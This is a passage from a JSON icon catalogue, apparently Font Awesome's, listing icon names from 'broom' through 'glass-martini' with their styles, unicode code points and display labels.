Tower"},"broom":{"styles":["solid"],"unicode":"f51a","label":"Broom"},"brush":{"styles":["solid"],"unicode":"f55d","label":"Brush"},"btc":{"styles":["brands"],"unicode":"f15a","label":"BTC"},"buffer":{"styles":["brands"],"unicode":"f837","label":"Buffer"},"bug":{"styles":["solid"],"unicode":"f188","label":"Bug"},"building":{"styles":["solid","regular"],"unicode":"f1ad","label":"Building"},"bullhorn":{"styles":["solid"],"unicode":"f0a1","label":"bullhorn"},"bullseye":{"styles":["solid"],"unicode":"f140","label":"Bullseye"},"burn":{"styles":["solid"],"unicode":"f46a","label":"Burn"},"buromobelexperte":{"styles":["brands"],"unicode":"f37f","label":"Büromöbel-Experte GmbH & Co. KG."},"bus":{"styles":["solid"],"unicode":"f207","label":"Bus"},"bus-alt":{"styles":["solid"],"unicode":"f55e","label":"Bus Alt"},"business-time":{"styles":["solid"],"unicode":"f64a","label":"Business Time"},"buy-n-large":{"styles":["brands"],"unicode":"f8a6","label":"Buy n Large"},"buysellads":{"styles":["brands"],"unicode":"f20d","label":"BuySellAds"},"calculator":{"styles":["solid"],"unicode":"f1ec","label":"Calculator"},"calendar":{"styles":["solid","regular"],"unicode":"f133","label":"Calendar"},"calendar-alt":{"styles":["solid","regular"],"unicode":"f073","label":"Alternate Calendar"},"calendar-check":{"styles":["solid","regular"],"unicode":"f274","label":"Calendar Check"},"calendar-day":{"styles":["solid"],"unicode":"f783","label":"Calendar with Day Focus"},"calendar-minus":{"styles":["solid","regular"],"unicode":"f272","label":"Calendar Minus"},"calendar-plus":{"styles":["solid","regular"],"unicode":"f271","label":"Calendar Plus"},"calendar-times":{"styles":["solid","regular"],"unicode":"f273","label":"Calendar Times"},"calendar-week":{"styles":["solid"],"unicode":"f784","label":"Calendar with Week Focus"},"camera":{"styles":["solid"],"unicode":"f030","label":"camera"},"camera-retro":{"styles":["solid"],"unicode":"f083","label":"Retro Camera"},"campground":{"styles":["solid"],"unicode":"f6bb","label":"Campground"},"canadian-maple-leaf":{"styles":["brands"],"unicode":"f785","label":"Canadian Maple Leaf"},"candy-cane":{"styles":["solid"],"unicode":"f786","label":"Candy Cane"},"cannabis":{"styles":["solid"],"unicode":"f55f","label":"Cannabis"},"capsules":{"styles":["solid"],"unicode":"f46b","label":"Capsules"},"car":{"styles":["solid"],"unicode":"f1b9","label":"Car"},"car-alt":{"styles":["solid"],"unicode":"f5de","label":"Alternate Car"},"car-battery":{"styles":["solid"],"unicode":"f5df","label":"Car Battery"},"car-crash":{"styles":["solid"],"unicode":"f5e1","label":"Car Crash"},"car-side":{"styles":["solid"],"unicode":"f5e4","label":"Car Side"},"caravan":{"styles":["solid"],"unicode":"f8ff","label":"Caravan"},"caret-down":{"styles":["solid"],"unicode":"f0d7","label":"Caret Down"},"caret-left":{"styles":["solid"],"unicode":"f0d9","label":"Caret Left"},"caret-right":{"styles":["solid"],"unicode":"f0da","label":"Caret Right"},"caret-square-down":{"styles":["solid","regular"],"unicode":"f150","label":"Caret Square Down"},"caret-square-left":{"styles":["solid","regular"],"unicode":"f191","label":"Caret Square Left"},"caret-square-right":{"styles":["solid","regular"],"unicode":"f152","label":"Caret Square Right"},"caret-square-up":{"styles":["solid","regular"],"unicode":"f151","label":"Caret Square Up"},"caret-up":{"styles":["solid"],"unicode":"f0d8","label":"Caret Up"},"carrot":{"styles":["solid"],"unicode":"f787","label":"Carrot"},"cart-arrow-down":{"styles":["solid"],"unicode":"f218","label":"Shopping Cart Arrow Down"},"cart-plus":{"styles":["solid"],"unicode":"f217","label":"Add to Shopping Cart"},"cash-register":{"styles":["solid"],"unicode":"f788","label":"Cash Register"},"cat":{"styles":["solid"],"unicode":"f6be","label":"Cat"},"cc-amazon-pay":{"styles":["brands"],"unicode":"f42d","label":"Amazon Pay Credit Card"},"cc-amex":{"styles":["brands"],"unicode":"f1f3","label":"American Express Credit Card"},"cc-apple-pay":{"styles":["brands"],"unicode":"f416","label":"Apple Pay Credit Card"},"cc-diners-club":{"styles":["brands"],"unicode":"f24c","label":"Diner\'s Club Credit Card"},"cc-discover":{"styles":["brands"],"unicode":"f1f2","label":"Discover Credit Card"},"cc-jcb":{"styles":["brands"],"unicode":"f24b","label":"JCB Credit Card"},"cc-mastercard":{"styles":["brands"],"unicode":"f1f1","label":"MasterCard Credit Card"},"cc-paypal":{"styles":["brands"],"unicode":"f1f4","label":"Paypal Credit Card"},"cc-stripe":{"styles":["brands"],"unicode":"f1f5","label":"Stripe Credit Card"},"cc-visa":{"styles":["brands"],"unicode":"f1f0","label":"Visa Credit Card"},"centercode":{"styles":["brands"],"unicode":"f380","label":"Centercode"},"centos":{"styles":["brands"],"unicode":"f789","label":"Centos"},"certificate":{"styles":["solid"],"unicode":"f0a3","label":"certificate"},"chair":{"styles":["solid"],"unicode":"f6c0","label":"Chair"},"chalkboard":{"styles":["solid"],"unicode":"f51b","label":"Chalkboard"},"chalkboard-teacher":{"styles":["solid"],"unicode":"f51c","label":"Chalkboard Teacher"},"charging-station":{"styles":["solid"],"unicode":"f5e7","label":"Charging Station"},"chart-area":{"styles":["solid"],"unicode":"f1fe","label":"Area Chart"},"chart-bar":{"styles":["solid","regular"],"unicode":"f080","label":"Bar Chart"},"chart-line":{"styles":["solid"],"unicode":"f201","label":"Line Chart"},"chart-pie":{"styles":["solid"],"unicode":"f200","label":"Pie Chart"},"check":{"styles":["solid"],"unicode":"f00c","label":"Check"},"check-circle":{"styles":["solid","regular"],"unicode":"f058","label":"Check Circle"},"check-double":{"styles":["solid"],"unicode":"f560","label":"Double Check"},"check-square":{"styles":["solid","regular"],"unicode":"f14a","label":"Check Square"},"cheese":{"styles":["solid"],"unicode":"f7ef","label":"Cheese"},"chess":{"styles":["solid"],"unicode":"f439","label":"Chess"},"chess-bishop":{"styles":["solid"],"unicode":"f43a","label":"Chess Bishop"},"chess-board":{"styles":["solid"],"unicode":"f43c","label":"Chess Board"},"chess-king":{"styles":["solid"],"unicode":"f43f","label":"Chess King"},"chess-knight":{"styles":["solid"],"unicode":"f441","label":"Chess Knight"},"chess-pawn":{"styles":["solid"],"unicode":"f443","label":"Chess Pawn"},"chess-queen":{"styles":["solid"],"unicode":"f445","label":"Chess Queen"},"chess-rook":{"styles":["solid"],"unicode":"f447","label":"Chess Rook"},"chevron-circle-down":{"styles":["solid"],"unicode":"f13a","label":"Chevron Circle Down"},"chevron-circle-left":{"styles":["solid"],"unicode":"f137","label":"Chevron Circle Left"},"chevron-circle-right":{"styles":["solid"],"unicode":"f138","label":"Chevron Circle Right"},"chevron-circle-up":{"styles":["solid"],"unicode":"f139","label":"Chevron Circle Up"},"chevron-down":{"styles":["solid"],"unicode":"f078","label":"chevron-down"},"chevron-left":{"styles":["solid"],"unicode":"f053","label":"chevron-left"},"chevron-right":{"styles":["solid"],"unicode":"f054","label":"chevron-right"},"chevron-up":{"styles":["solid"],"unicode":"f077","label":"chevron-up"},"child":{"styles":["solid"],"unicode":"f1ae","label":"Child"},"chrome":{"styles":["brands"],"unicode":"f268","label":"Chrome"},"chromecast":{"styles":["brands"],"unicode":"f838","label":"Chromecast"},"church":{"styles":["solid"],"unicode":"f51d","label":"Church"},"circle":{"styles":["solid","regular"],"unicode":"f111","label":"Circle"},"circle-notch":{"styles":["solid"],"unicode":"f1ce","label":"Circle Notched"},"city":{"styles":["solid"],"unicode":"f64f","label":"City"},"clinic-medical":{"styles":["solid"],"unicode":"f7f2","label":"Medical Clinic"},"clipboard":{"styles":["solid","regular"],"unicode":"f328","label":"Clipboard"},"clipboard-check":{"styles":["solid"],"unicode":"f46c","label":"Clipboard with Check"},"clipboard-list":{"styles":["solid"],"unicode":"f46d","label":"Clipboard List"},"clock":{"styles":["solid","regular"],"unicode":"f017","label":"Clock"},"clone":{"styles":["solid","regular"],"unicode":"f24d","label":"Clone"},"closed-captioning":{"styles":["solid","regular"],"unicode":"f20a","label":"Closed Captioning"},"cloud":{"styles":["solid"],"unicode":"f0c2","label":"Cloud"},"cloud-download-alt":{"styles":["solid"],"unicode":"f381","label":"Alternate Cloud Download"},"cloud-meatball":{"styles":["solid"],"unicode":"f73b","label":"Cloud with (a chance of) Meatball"},"cloud-moon":{"styles":["solid"],"unicode":"f6c3","label":"Cloud with Moon"},"cloud-moon-rain":{"styles":["solid"],"unicode":"f73c","label":"Cloud with Moon and Rain"},"cloud-rain":{"styles":["solid"],"unicode":"f73d","label":"Cloud with Rain"},"cloud-showers-heavy":{"styles":["solid"],"unicode":"f740","label":"Cloud with Heavy Showers"},"cloud-sun":{"styles":["solid"],"unicode":"f6c4","label":"Cloud with Sun"},"cloud-sun-rain":{"styles":["solid"],"unicode":"f743","label":"Cloud with Sun and Rain"},"cloud-upload-alt":{"styles":["solid"],"unicode":"f382","label":"Alternate Cloud Upload"},"cloudflare":{"styles":["brands"],"unicode":"e07d","label":"Cloudflare"},"cloudscale":{"styles":["brands"],"unicode":"f383","label":"cloudscale.ch"},"cloudsmith":{"styles":["brands"],"unicode":"f384","label":"Cloudsmith"},"cloudversify":{"styles":["brands"],"unicode":"f385","label":"cloudversify"},"cocktail":{"styles":["solid"],"unicode":"f561","label":"Cocktail"},"code":{"styles":["solid"],"unicode":"f121","label":"Code"},"code-branch":{"styles":["solid"],"unicode":"f126","label":"Code Branch"},"codepen":{"styles":["brands"],"unicode":"f1cb","label":"Codepen"},"codiepie":{"styles":["brands"],"unicode":"f284","label":"Codie Pie"},"coffee":{"styles":["solid"],"unicode":"f0f4","label":"Coffee"},"cog":{"styles":["solid"],"unicode":"f013","label":"cog"},"cogs":{"styles":["solid"],"unicode":"f085","label":"cogs"},"coins":{"styles":["solid"],"unicode":"f51e","label":"Coins"},"columns":{"styles":["solid"],"unicode":"f0db","label":"Columns"},"comment":{"styles":["solid","regular"],"unicode":"f075","label":"comment"},"comment-alt":{"styles":["solid","regular"],"unicode":"f27a","label":"Alternate Comment"},"comment-dollar":{"styles":["solid"],"unicode":"f651","label":"Comment Dollar"},"comment-dots":{"styles":["solid","regular"],"unicode":"f4ad","label":"Comment Dots"},"comment-medical":{"styles":["solid"],"unicode":"f7f5","label":"Alternate Medical Chat"},"comment-slash":{"styles":["solid"],"unicode":"f4b3","label":"Comment Slash"},"comments":{"styles":["solid","regular"],"unicode":"f086","label":"comments"},"comments-dollar":{"styles":["solid"],"unicode":"f653","label":"Comments Dollar"},"compact-disc":{"styles":["solid"],"unicode":"f51f","label":"Compact Disc"},"compass":{"styles":["solid","regular"],"unicode":"f14e","label":"Compass"},"compress":{"styles":["solid"],"unicode":"f066","label":"Compress"},"compress-alt":{"styles":["solid"],"unicode":"f422","label":"Alternate Compress"},"compress-arrows-alt":{"styles":["solid"],"unicode":"f78c","label":"Alternate Compress Arrows"},"concierge-bell":{"styles":["solid"],"unicode":"f562","label":"Concierge Bell"},"confluence":{"styles":["brands"],"unicode":"f78d","label":"Confluence"},"connectdevelop":{"styles":["brands"],"unicode":"f20e","label":"Connect Develop"},"contao":{"styles":["brands"],"unicode":"f26d","label":"Contao"},"cookie":{"styles":["solid"],"unicode":"f563","label":"Cookie"},"cookie-bite":{"styles":["solid"],"unicode":"f564","label":"Cookie Bite"},"copy":{"styles":["solid","regular"],"unicode":"f0c5","label":"Copy"},"copyright":{"styles":["solid","regular"],"unicode":"f1f9","label":"Copyright"},"cotton-bureau":{"styles":["brands"],"unicode":"f89e","label":"Cotton Bureau"},"couch":{"styles":["solid"],"unicode":"f4b8","label":"Couch"},"cpanel":{"styles":["brands"],"unicode":"f388","label":"cPanel"},"creative-commons":{"styles":["brands"],"unicode":"f25e","label":"Creative Commons"},"creative-commons-by":{"styles":["brands"],"unicode":"f4e7","label":"Creative Commons Attribution"},"creative-commons-nc":{"styles":["brands"],"unicode":"f4e8","label":"Creative Commons Noncommercial"},"creative-commons-nc-eu":{"styles":["brands"],"unicode":"f4e9","label":"Creative Commons Noncommercial (Euro Sign)"},"creative-commons-nc-jp":{"styles":["brands"],"unicode":"f4ea","label":"Creative Commons Noncommercial (Yen Sign)"},"creative-commons-nd":{"styles":["brands"],"unicode":"f4eb","label":"Creative Commons No Derivative Works"},"creative-commons-pd":{"styles":["brands"],"unicode":"f4ec","label":"Creative Commons Public Domain"},"creative-commons-pd-alt":{"styles":["brands"],"unicode":"f4ed","label":"Alternate Creative Commons Public Domain"},"creative-commons-remix":{"styles":["brands"],"unicode":"f4ee","label":"Creative Commons Remix"},"creative-commons-sa":{"styles":["brands"],"unicode":"f4ef","label":"Creative Commons Share Alike"},"creative-commons-sampling":{"styles":["brands"],"unicode":"f4f0","label":"Creative Commons Sampling"},"creative-commons-sampling-plus":{"styles":["brands"],"unicode":"f4f1","label":"Creative Commons Sampling +"},"creative-commons-share":{"styles":["brands"],"unicode":"f4f2","label":"Creative Commons Share"},"creative-commons-zero":{"styles":["brands"],"unicode":"f4f3","label":"Creative Commons CC0"},"credit-card":{"styles":["solid","regular"],"unicode":"f09d","label":"Credit Card"},"critical-role":{"styles":["brands"],"unicode":"f6c9","label":"Critical Role"},"crop":{"styles":["solid"],"unicode":"f125","label":"crop"},"crop-alt":{"styles":["solid"],"unicode":"f565","label":"Alternate Crop"},"cross":{"styles":["solid"],"unicode":"f654","label":"Cross"},"crosshairs":{"styles":["solid"],"unicode":"f05b","label":"Crosshairs"},"crow":{"styles":["solid"],"unicode":"f520","label":"Crow"},"crown":{"styles":["solid"],"unicode":"f521","label":"Crown"},"crutch":{"styles":["solid"],"unicode":"f7f7","label":"Crutch"},"css3":{"styles":["brands"],"unicode":"f13c","label":"CSS 3 Logo"},"css3-alt":{"styles":["brands"],"unicode":"f38b","label":"Alternate CSS3 Logo"},"cube":{"styles":["solid"],"unicode":"f1b2","label":"Cube"},"cubes":{"styles":["solid"],"unicode":"f1b3","label":"Cubes"},"cut":{"styles":["solid"],"unicode":"f0c4","label":"Cut"},"cuttlefish":{"styles":["brands"],"unicode":"f38c","label":"Cuttlefish"},"d-and-d":{"styles":["brands"],"unicode":"f38d","label":"Dungeons & Dragons"},"d-and-d-beyond":{"styles":["brands"],"unicode":"f6ca","label":"D&D Beyond"},"dailymotion":{"styles":["brands"],"unicode":"e052","label":"dailymotion"},"dashcube":{"styles":["brands"],"unicode":"f210","label":"DashCube"},"database":{"styles":["solid"],"unicode":"f1c0","label":"Database"},"deaf":{"styles":["solid"],"unicode":"f2a4","label":"Deaf"},"deezer":{"styles":["brands"],"unicode":"e077","label":"Deezer"},"delicious":{"styles":["brands"],"unicode":"f1a5","label":"Delicious"},"democrat":{"styles":["solid"],"unicode":"f747","label":"Democrat"},"deploydog":{"styles":["brands"],"unicode":"f38e","label":"deploy.dog"},"deskpro":{"styles":["brands"],"unicode":"f38f","label":"Deskpro"},"desktop":{"styles":["solid"],"unicode":"f108","label":"Desktop"},"dev":{"styles":["brands"],"unicode":"f6cc","label":"DEV"},"deviantart":{"styles":["brands"],"unicode":"f1bd","label":"deviantART"},"dharmachakra":{"styles":["solid"],"unicode":"f655","label":"Dharmachakra"},"dhl":{"styles":["brands"],"unicode":"f790","label":"DHL"},"diagnoses":{"styles":["solid"],"unicode":"f470","label":"Diagnoses"},"diaspora":{"styles":["brands"],"unicode":"f791","label":"Diaspora"},"dice":{"styles":["solid"],"unicode":"f522","label":"Dice"},"dice-d20":{"styles":["solid"],"unicode":"f6cf","label":"Dice D20"},"dice-d6":{"styles":["solid"],"unicode":"f6d1","label":"Dice D6"},"dice-five":{"styles":["solid"],"unicode":"f523","label":"Dice Five"},"dice-four":{"styles":["solid"],"unicode":"f524","label":"Dice Four"},"dice-one":{"styles":["solid"],"unicode":"f525","label":"Dice One"},"dice-six":{"styles":["solid"],"unicode":"f526","label":"Dice Six"},"dice-three":{"styles":["solid"],"unicode":"f527","label":"Dice Three"},"dice-two":{"styles":["solid"],"unicode":"f528","label":"Dice Two"},"digg":{"styles":["brands"],"unicode":"f1a6","label":"Digg Logo"},"digital-ocean":{"styles":["brands"],"unicode":"f391","label":"Digital Ocean"},"digital-tachograph":{"styles":["solid"],"unicode":"f566","label":"Digital Tachograph"},"directions":{"styles":["solid"],"unicode":"f5eb","label":"Directions"},"discord":{"styles":["brands"],"unicode":"f392","label":"Discord"},"discourse":{"styles":["brands"],"unicode":"f393","label":"Discourse"},"disease":{"styles":["solid"],"unicode":"f7fa","label":"Disease"},"divide":{"styles":["solid"],"unicode":"f529","label":"Divide"},"dizzy":{"styles":["solid","regular"],"unicode":"f567","label":"Dizzy Face"},"dna":{"styles":["solid"],"unicode":"f471","label":"DNA"},"dochub":{"styles":["brands"],"unicode":"f394","label":"DocHub"},"docker":{"styles":["brands"],"unicode":"f395","label":"Docker"},"dog":{"styles":["solid"],"unicode":"f6d3","label":"Dog"},"dollar-sign":{"styles":["solid"],"unicode":"f155","label":"Dollar Sign"},"dolly":{"styles":["solid"],"unicode":"f472","label":"Dolly"},"dolly-flatbed":{"styles":["solid"],"unicode":"f474","label":"Dolly Flatbed"},"donate":{"styles":["solid"],"unicode":"f4b9","label":"Donate"},"door-closed":{"styles":["solid"],"unicode":"f52a","label":"Door Closed"},"door-open":{"styles":["solid"],"unicode":"f52b","label":"Door Open"},"dot-circle":{"styles":["solid","regular"],"unicode":"f192","label":"Dot Circle"},"dove":{"styles":["solid"],"unicode":"f4ba","label":"Dove"},"download":{"styles":["solid"],"unicode":"f019","label":"Download"},"draft2digital":{"styles":["brands"],"unicode":"f396","label":"Draft2digital"},"drafting-compass":{"styles":["solid"],"unicode":"f568","label":"Drafting Compass"},"dragon":{"styles":["solid"],"unicode":"f6d5","label":"Dragon"},"draw-polygon":{"styles":["solid"],"unicode":"f5ee","label":"Draw Polygon"},"dribbble":{"styles":["brands"],"unicode":"f17d","label":"Dribbble"},"dribbble-square":{"styles":["brands"],"unicode":"f397","label":"Dribbble Square"},"dropbox":{"styles":["brands"],"unicode":"f16b","label":"Dropbox"},"drum":{"styles":["solid"],"unicode":"f569","label":"Drum"},"drum-steelpan":{"styles":["solid"],"unicode":"f56a","label":"Drum Steelpan"},"drumstick-bite":{"styles":["solid"],"unicode":"f6d7","label":"Drumstick with Bite Taken Out"},"drupal":{"styles":["brands"],"unicode":"f1a9","label":"Drupal Logo"},"dumbbell":{"styles":["solid"],"unicode":"f44b","label":"Dumbbell"},"dumpster":{"styles":["solid"],"unicode":"f793","label":"Dumpster"},"dumpster-fire":{"styles":["solid"],"unicode":"f794","label":"Dumpster Fire"},"dungeon":{"styles":["solid"],"unicode":"f6d9","label":"Dungeon"},"dyalog":{"styles":["brands"],"unicode":"f399","label":"Dyalog"},"earlybirds":{"styles":["brands"],"unicode":"f39a","label":"Earlybirds"},"ebay":{"styles":["brands"],"unicode":"f4f4","label":"eBay"},"edge":{"styles":["brands"],"unicode":"f282","label":"Edge Browser"},"edge-legacy":{"styles":["brands"],"unicode":"e078","label":"Edge Legacy Browser"},"edit":{"styles":["solid","regular"],"unicode":"f044","label":"Edit"},"egg":{"styles":["solid"],"unicode":"f7fb","label":"Egg"},"eject":{"styles":["solid"],"unicode":"f052","label":"eject"},"elementor":{"styles":["brands"],"unicode":"f430","label":"Elementor"},"ellipsis-h":{"styles":["solid"],"unicode":"f141","label":"Horizontal Ellipsis"},"ellipsis-v":{"styles":["solid"],"unicode":"f142","label":"Vertical Ellipsis"},"ello":{"styles":["brands"],"unicode":"f5f1","label":"Ello"},"ember":{"styles":["brands"],"unicode":"f423","label":"Ember"},"empire":{"styles":["brands"],"unicode":"f1d1","label":"Galactic Empire"},"envelope":{"styles":["solid","regular"],"unicode":"f0e0","label":"Envelope"},"envelope-open":{"styles":["solid","regular"],"unicode":"f2b6","label":"Envelope Open"},"envelope-open-text":{"styles":["solid"],"unicode":"f658","label":"Envelope Open-text"},"envelope-square":{"styles":["solid"],"unicode":"f199","label":"Envelope Square"},"envira":{"styles":["brands"],"unicode":"f299","label":"Envira Gallery"},"equals":{"styles":["solid"],"unicode":"f52c","label":"Equals"},"eraser":{"styles":["solid"],"unicode":"f12d","label":"eraser"},"erlang":{"styles":["brands"],"unicode":"f39d","label":"Erlang"},"ethereum":{"styles":["brands"],"unicode":"f42e","label":"Ethereum"},"ethernet":{"styles":["solid"],"unicode":"f796","label":"Ethernet"},"etsy":{"styles":["brands"],"unicode":"f2d7","label":"Etsy"},"euro-sign":{"styles":["solid"],"unicode":"f153","label":"Euro Sign"},"evernote":{"styles":["brands"],"unicode":"f839","label":"Evernote"},"exchange-alt":{"styles":["solid"],"unicode":"f362","label":"Alternate Exchange"},"exclamation":{"styles":["solid"],"unicode":"f12a","label":"exclamation"},"exclamation-circle":{"styles":["solid"],"unicode":"f06a","label":"Exclamation Circle"},"exclamation-triangle":{"styles":["solid"],"unicode":"f071","label":"Exclamation Triangle"},"expand":{"styles":["solid"],"unicode":"f065","label":"Expand"},"expand-alt":{"styles":["solid"],"unicode":"f424","label":"Alternate Expand"},"expand-arrows-alt":{"styles":["solid"],"unicode":"f31e","label":"Alternate Expand Arrows"},"expeditedssl":{"styles":["brands"],"unicode":"f23e","label":"ExpeditedSSL"},"external-link-alt":{"styles":["solid"],"unicode":"f35d","label":"Alternate External Link"},"external-link-square-alt":{"styles":["solid"],"unicode":"f360","label":"Alternate External Link Square"},"eye":{"styles":["solid","regular"],"unicode":"f06e","label":"Eye"},"eye-dropper":{"styles":["solid"],"unicode":"f1fb","label":"Eye Dropper"},"eye-slash":{"styles":["solid","regular"],"unicode":"f070","label":"Eye Slash"},"facebook":{"styles":["brands"],"unicode":"f09a","label":"Facebook"},"facebook-f":{"styles":["brands"],"unicode":"f39e","label":"Facebook F"},"facebook-messenger":{"styles":["brands"],"unicode":"f39f","label":"Facebook Messenger"},"facebook-square":{"styles":["brands"],"unicode":"f082","label":"Facebook Square"},"fan":{"styles":["solid"],"unicode":"f863","label":"Fan"},"fantasy-flight-games":{"styles":["brands"],"unicode":"f6dc","label":"Fantasy Flight-games"},"fast-backward":{"styles":["solid"],"unicode":"f049","label":"fast-backward"},"fast-forward":{"styles":["solid"],"unicode":"f050","label":"fast-forward"},"faucet":{"styles":["solid"],"unicode":"e005","label":"Faucet"},"fax":{"styles":["solid"],"unicode":"f1ac","label":"Fax"},"feather":{"styles":["solid"],"unicode":"f52d","label":"Feather"},"feather-alt":{"styles":["solid"],"unicode":"f56b","label":"Alternate Feather"},"fedex":{"styles":["brands"],"unicode":"f797","label":"FedEx"},"fedora":{"styles":["brands"],"unicode":"f798","label":"Fedora"},"female":{"styles":["solid"],"unicode":"f182","label":"Female"},"fighter-jet":{"styles":["solid"],"unicode":"f0fb","label":"fighter-jet"},"figma":{"styles":["brands"],"unicode":"f799","label":"Figma"},"file":{"styles":["solid","regular"],"unicode":"f15b","label":"File"},"file-alt":{"styles":["solid","regular"],"unicode":"f15c","label":"Alternate File"},"file-archive":{"styles":["solid","regular"],"unicode":"f1c6","label":"Archive File"},"file-audio":{"styles":["solid","regular"],"unicode":"f1c7","label":"Audio File"},"file-code":{"styles":["solid","regular"],"unicode":"f1c9","label":"Code File"},"file-contract":{"styles":["solid"],"unicode":"f56c","label":"File Contract"},"file-csv":{"styles":["solid"],"unicode":"f6dd","label":"File CSV"},"file-download":{"styles":["solid"],"unicode":"f56d","label":"File Download"},"file-excel":{"styles":["solid","regular"],"unicode":"f1c3","label":"Excel File"},"file-export":{"styles":["solid"],"unicode":"f56e","label":"File Export"},"file-image":{"styles":["solid","regular"],"unicode":"f1c5","label":"Image File"},"file-import":{"styles":["solid"],"unicode":"f56f","label":"File Import"},"file-invoice":{"styles":["solid"],"unicode":"f570","label":"File Invoice"},"file-invoice-dollar":{"styles":["solid"],"unicode":"f571","label":"File Invoice with US Dollar"},"file-medical":{"styles":["solid"],"unicode":"f477","label":"Medical File"},"file-medical-alt":{"styles":["solid"],"unicode":"f478","label":"Alternate Medical File"},"file-pdf":{"styles":["solid","regular"],"unicode":"f1c1","label":"PDF File"},"file-powerpoint":{"styles":["solid","regular"],"unicode":"f1c4","label":"Powerpoint File"},"file-prescription":{"styles":["solid"],"unicode":"f572","label":"File Prescription"},"file-signature":{"styles":["solid"],"unicode":"f573","label":"File Signature"},"file-upload":{"styles":["solid"],"unicode":"f574","label":"File Upload"},"file-video":{"styles":["solid","regular"],"unicode":"f1c8","label":"Video File"},"file-word":{"styles":["solid","regular"],"unicode":"f1c2","label":"Word File"},"fill":{"styles":["solid"],"unicode":"f575","label":"Fill"},"fill-drip":{"styles":["solid"],"unicode":"f576","label":"Fill Drip"},"film":{"styles":["solid"],"unicode":"f008","label":"Film"},"filter":{"styles":["solid"],"unicode":"f0b0","label":"Filter"},"fingerprint":{"styles":["solid"],"unicode":"f577","label":"Fingerprint"},"fire":{"styles":["solid"],"unicode":"f06d","label":"fire"},"fire-alt":{"styles":["solid"],"unicode":"f7e4","label":"Alternate Fire"},"fire-extinguisher":{"styles":["solid"],"unicode":"f134","label":"fire-extinguisher"},"firefox":{"styles":["brands"],"unicode":"f269","label":"Firefox"},"firefox-browser":{"styles":["brands"],"unicode":"e007","label":"Firefox Browser"},"first-aid":{"styles":["solid"],"unicode":"f479","label":"First Aid"},"first-order":{"styles":["brands"],"unicode":"f2b0","label":"First Order"},"first-order-alt":{"styles":["brands"],"unicode":"f50a","label":"Alternate First Order"},"firstdraft":{"styles":["brands"],"unicode":"f3a1","label":"firstdraft"},"fish":{"styles":["solid"],"unicode":"f578","label":"Fish"},"fist-raised":{"styles":["solid"],"unicode":"f6de","label":"Raised Fist"},"flag":{"styles":["solid","regular"],"unicode":"f024","label":"flag"},"flag-checkered":{"styles":["solid"],"unicode":"f11e","label":"flag-checkered"},"flag-usa":{"styles":["solid"],"unicode":"f74d","label":"United States of America Flag"},"flask":{"styles":["solid"],"unicode":"f0c3","label":"Flask"},"flickr":{"styles":["brands"],"unicode":"f16e","label":"Flickr"},"flipboard":{"styles":["brands"],"unicode":"f44d","label":"Flipboard"},"flushed":{"styles":["solid","regular"],"unicode":"f579","label":"Flushed Face"},"fly":{"styles":["brands"],"unicode":"f417","label":"Fly"},"folder":{"styles":["solid","regular"],"unicode":"f07b","label":"Folder"},"folder-minus":{"styles":["solid"],"unicode":"f65d","label":"Folder Minus"},"folder-open":{"styles":["solid","regular"],"unicode":"f07c","label":"Folder Open"},"folder-plus":{"styles":["solid"],"unicode":"f65e","label":"Folder Plus"},"font":{"styles":["solid"],"unicode":"f031","label":"font"},"font-awesome":{"styles":["brands"],"unicode":"f2b4","label":"Font Awesome"},"font-awesome-alt":{"styles":["brands"],"unicode":"f35c","label":"Alternate Font Awesome"},"font-awesome-flag":{"styles":["brands"],"unicode":"f425","label":"Font Awesome Flag"},"font-awesome-logo-full":{"styles":["regular","solid","brands"],"unicode":"f4e6","label":"Font Awesome Full Logo"},"fonticons":{"styles":["brands"],"unicode":"f280","label":"Fonticons"},"fonticons-fi":{"styles":["brands"],"unicode":"f3a2","label":"Fonticons Fi"},"football-ball":{"styles":["solid"],"unicode":"f44e","label":"Football Ball"},"fort-awesome":{"styles":["brands"],"unicode":"f286","label":"Fort Awesome"},"fort-awesome-alt":{"styles":["brands"],"unicode":"f3a3","label":"Alternate Fort Awesome"},"forumbee":{"styles":["brands"],"unicode":"f211","label":"Forumbee"},"forward":{"styles":["solid"],"unicode":"f04e","label":"forward"},"foursquare":{"styles":["brands"],"unicode":"f180","label":"Foursquare"},"free-code-camp":{"styles":["brands"],"unicode":"f2c5","label":"freeCodeCamp"},"freebsd":{"styles":["brands"],"unicode":"f3a4","label":"FreeBSD"},"frog":{"styles":["solid"],"unicode":"f52e","label":"Frog"},"frown":{"styles":["solid","regular"],"unicode":"f119","label":"Frowning Face"},"frown-open":{"styles":["solid","regular"],"unicode":"f57a","label":"Frowning Face With Open Mouth"},"fulcrum":{"styles":["brands"],"unicode":"f50b","label":"Fulcrum"},"funnel-dollar":{"styles":["solid"],"unicode":"f662","label":"Funnel Dollar"},"futbol":{"styles":["solid","regular"],"unicode":"f1e3","label":"Futbol"},"galactic-republic":{"styles":["brands"],"unicode":"f50c","label":"Galactic Republic"},"galactic-senate":{"styles":["brands"],"unicode":"f50d","label":"Galactic Senate"},"gamepad":{"styles":["solid"],"unicode":"f11b","label":"Gamepad"},"gas-pump":{"styles":["solid"],"unicode":"f52f","label":"Gas Pump"},"gavel":{"styles":["solid"],"unicode":"f0e3","label":"Gavel"},"gem":{"styles":["solid","regular"],"unicode":"f3a5","label":"Gem"},"genderless":{"styles":["solid"],"unicode":"f22d","label":"Genderless"},"get-pocket":{"styles":["brands"],"unicode":"f265","label":"Get Pocket"},"gg":{"styles":["brands"],"unicode":"f260","label":"GG Currency"},"gg-circle":{"styles":["brands"],"unicode":"f261","label":"GG Currency Circle"},"ghost":{"styles":["solid"],"unicode":"f6e2","label":"Ghost"},"gift":{"styles":["solid"],"unicode":"f06b","label":"gift"},"gifts":{"styles":["solid"],"unicode":"f79c","label":"Gifts"},"git":{"styles":["brands"],"unicode":"f1d3","label":"Git"},"git-alt":{"styles":["brands"],"unicode":"f841","label":"Git Alt"},"git-square":{"styles":["brands"],"unicode":"f1d2","label":"Git Square"},"github":{"styles":["brands"],"unicode":"f09b","label":"GitHub"},"github-alt":{"styles":["brands"],"unicode":"f113","label":"Alternate GitHub"},"github-square":{"styles":["brands"],"unicode":"f092","label":"GitHub Square"},"gitkraken":{"styles":["brands"],"unicode":"f3a6","label":"GitKraken"},"gitlab":{"styles":["brands"],"unicode":"f296","label":"GitLab"},"gitter":{"styles":["brands"],"unicode":"f426","label":"Gitter"},"glass-cheers":{"styles":["solid"],"unicode":"f79f","label":"Glass Cheers"},"glass-martini":{"styles":["solid"],"unicode":"f000","label":"Martini Glass"},"glass-martini-alt":{"styles":["solid"],"unicode":"f57b","label":"Alternate Glass 